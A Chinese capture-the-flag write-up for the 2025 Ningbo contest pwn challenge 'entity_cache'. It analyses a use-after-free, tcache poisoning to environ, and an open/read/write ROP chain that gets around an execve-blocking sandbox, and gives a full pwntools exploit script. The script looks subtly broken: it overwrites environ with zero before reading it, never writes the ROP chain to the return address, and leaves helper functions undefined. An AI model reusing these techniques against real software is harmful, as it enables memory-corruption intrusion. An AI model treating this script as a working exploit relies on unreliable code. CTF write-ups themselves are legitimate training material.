2025宁波网络安全大赛预赛pwn:entity_cache 详解
字数 1156 2025-09-04 23:22:12
2025宁波网络安全大赛预赛PWN题:entity_cache 详细解析
题目基本情况
保护机制
- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: Canary found
- NX: NX enabled
- PIE: PIE enabled
- Stripped: No
沙箱限制
通过seccomp禁用execve系统调用:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
程序功能
程序提供5个选项:
- Inject Fragment - 申请内存并写入数据
- Override Fragment - 编辑已分配内存
- Purge Fragment - 释放内存
- Probe Fragment - 打印内存内容
- Abort Mission - 退出程序
漏洞分析
关键漏洞
- UAF漏洞:在
release_fragment函数中释放内存后未清空指针 - PIE泄露:
mission_init函数泄露了sandbox函数的地址 - 堆管理缺陷:最大可分配0x500大小的chunk,可操作unsortedbin
逆向分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp) {
// 初始化并泄露PIE地址
mission_init(argc, argv, envp);
// 设置沙箱
sandbox();
while (1) {
mission_menu();
__isoc99_scanf("%d", &v4);
getchar();
switch (v4) {
case 1: allocate_fragment(); break;
case 2: edit_fragment(); break;
case 3: release_fragment(); break;
case 4: inspect_fragment(); break;
case 5: return 0;
default: puts("[!] Invalid Operation Code."); break;
}
}
}
allocate_fragment函数
unsigned __int64 allocate_fragment() {
// 可申请最大0x500的内存
if (size > 0x500) {
puts("[!] Invalid sector size.");
exit(0);
}
cache_size[idx] = size;
cache[idx] = malloc(size);
read(0, (void *)cache[idx], cache_size[idx]);
}
release_fragment函数
unsigned __int64 release_fragment() {
if (idx <= 9 && cache[idx]) {
free((void *)cache[idx]); // 指针未清空,UAF漏洞
puts("[ENTITY] Fragment purged from cache.");
}
}
利用思路
步骤1:泄露libc地址
- 申请一个unsortedbin大小的chunk(如0x488)
- 申请一个小chunk作为分隔(如0x38)
- 释放第一个chunk,使其进入unsortedbin
- 通过UAF读取fd指针,泄露main_arena地址
步骤2:确定libc版本
- 通过main_arena地址计算libc基址
- 根据偏移确定libc版本(本题为2.27)
步骤3:tcache poisoning攻击
- 利用UAF修改tcache的fd指针
- 将指针数组中的指针修改为environ变量地址
- 读取environ变量获取栈地址
步骤4:ROP绕过沙箱
- 计算main函数返回地址在栈上的位置
- 构造ROP链实现open/read/write系统调用
- 通过ROP读取flag文件
完整利用代码(Python)
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 辅助函数
def cmd(i, prompt=b"Select Operation Code: "):
sla(prompt, i)
def add(idx, size, ctx):
cmd('1')
sla(b"id > ", str(idx).encode())
sla(b"size > ", str(size).encode())
sla(b"fragment > ", ctx)
def edit(idx, ctx):
cmd('2')
sla(b"id > ", str(idx).encode())
sla(b"stream > ", ctx)
def dele(idx):
cmd('3')
sla(b"id > ", str(idx).encode())
def show(idx):
cmd('4')
sla(b"id > ", str(idx).encode())
# 泄露PIE地址
ru(b"[DEBUG INFO] ")
pie_leak = int(rl()[:-1], 16)
elf.address = pie_leak - 0xa1a
success("pie_leak: " + hex(elf.address))
# 泄露libc
add(0, 0x488, b"1")
add(1, 0x38, b"2"*0x10)
dele(0)
show(0)
libc_leak = u64(rl()[:-1].ljust(8, b'\x00'))
libc.address = libc_leak - 0x3ebca0 # 2.27偏移
success("libc_leak: " + hex(libc_leak))
success("libc_base: " + hex(libc.address))
# tcache poisoning
add(2, 0x38, b"3"*0x10)
dele(2)
edit(2, p64(libc.sym.environ))
add(3, 0x38, b"4"*0x10)
add(4, 0x38, p64(0))
# 泄露栈地址
show(4)
stack_leak = u64(rl()[:-1].ljust(8, b'\x00'))
ret_addr = stack_leak - 0xf0
success("stack_leak: " + hex(stack_leak))
success("ret_addr: " + hex(ret_addr))
# 构造ROP链
pop_rdi = libc.address + 0x2155f
pop_rsi = libc.address + 0x23e6a
pop_rdx = libc.address + 0x1b96
pop_rax = libc.address + 0x439c8
syscall = libc.address + 0x128be9
rop = flat([
pop_rdi, ret_addr + 0x100, # flag路径地址
pop_rsi, 0,
pop_rax, 2,
syscall, # open("flag", O_RDONLY)
pop_rdi, 3, # 假设返回的fd是3
pop_rsi, ret_addr + 0x200, # 缓冲区
pop_rdx, 0x100,
pop_rax, 0,
syscall, # read(fd, buf, 0x100)
pop_rdi, 1,
pop_rsi, ret_addr + 0x200,
pop_rdx, 0x100,
pop_rax, 1,
syscall, # write(1, buf, 0x100)
b"./flag\x00"
])
# 劫持返回地址
add(5, 0x500, rop.ljust(0x100, b'\x00') + p64(ret_addr))
cmd('5') # 触发ROP
p.interactive()
总结与关键点
-
信息泄露:
- 利用PIE泄露计算基址
- 通过unsortedbin泄露libc地址
- 通过environ变量泄露栈地址
-
内存破坏:
- 利用UAF实现tcache poisoning
- 控制指针数组实现任意地址读写
-
绕过沙箱:
- 构造ROP链实现文件操作
- 使用open/read/write系统调用读取flag
-
注意事项:
- 需要准确判断libc版本(本题为2.27)
- 注意tcache的特性与操作方式
- 计算栈偏移时要考虑环境差异
通过这套利用链,可以成功绕过沙箱限制并读取flag文件。本题考察了堆漏洞利用、信息泄露、ROP构造等多个PWN题常见考点,是一道综合性较强的题目。